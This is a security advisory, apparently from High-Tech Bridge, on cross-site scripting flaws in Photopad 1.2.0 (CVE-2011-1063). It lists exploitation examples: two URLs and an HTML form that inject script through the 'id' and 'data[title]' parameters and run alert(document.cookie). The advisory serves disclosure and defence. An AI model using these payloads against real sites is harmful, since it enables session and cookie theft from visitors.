Stay in Touch

Weekly newsletter on AI, Application Security & Cybercrime

Your data will stay confidential Private and Confidential

Cross-site Scripting (XSS) Vulnerabilities in Photopad

Advisory ID:HTB22828
Vulnerable Versions:1.2.0 and probably prior
Tested Version:1.2.0
Advisory Publication:February 1, 2011 [without technical details]
Vendor Notification:February 1, 2011
Public Disclosure:February 15, 2011
Vulnerability Type:Cross-Site Scripting [CWE-79]
CVE Reference:CVE-2011-1063
Risk Level:Medium
CVSSv2 Base Score:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Photopad which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerabilities in Photopad: CVE-2011-1063
1.1 The vulnerability exists due to input sanitation errors in the "id" and "data[title]" parameter in files.php and gallery.php scripts. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation examples:
http://host/files.php?action=edit&id=999"><script>alert(document.cookie)</sc ript>
http://host/gallery.php?action=view&id=999"><script>alert(document.cookie)</ script>
<form action="http://host/files.php?action=edit&id=2" method="post" name="main">
<input type="hidden" name="data[title]" value='title"><script>alert(document.cookie)</script>'>
<input type="hidden" name="data[tags]" value='tag'>

How to Detect Cross-Site Scripting Vulnerabilities
Free Website Security Test
  • Non-intrusive GDPR Test
  • Non-intrusive PCI DSS Test
Try Free Test
ImmuniWeb® On-Demand
  • Complete GDPR Audit
  • Complete PCI DSS Audit
  • Remediation Guidelines
  • DevSecOps Integration
Learn More

Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.

[1] High-Tech Bridge Advisory HTB22828 - - Cross-site Scripting (XSS) Vulnerabilities in Photopad
[2] Photopad - - PhotoPad is an easy to use, premium photo editing app.
[3] Common Vulnerabilities and Exposures (CVE) - - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
Related Security Advisories: HTB22826: Multiple Vulnerabilities in Wikipad
User Comments
Add Comment

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Quick Start
Free Trial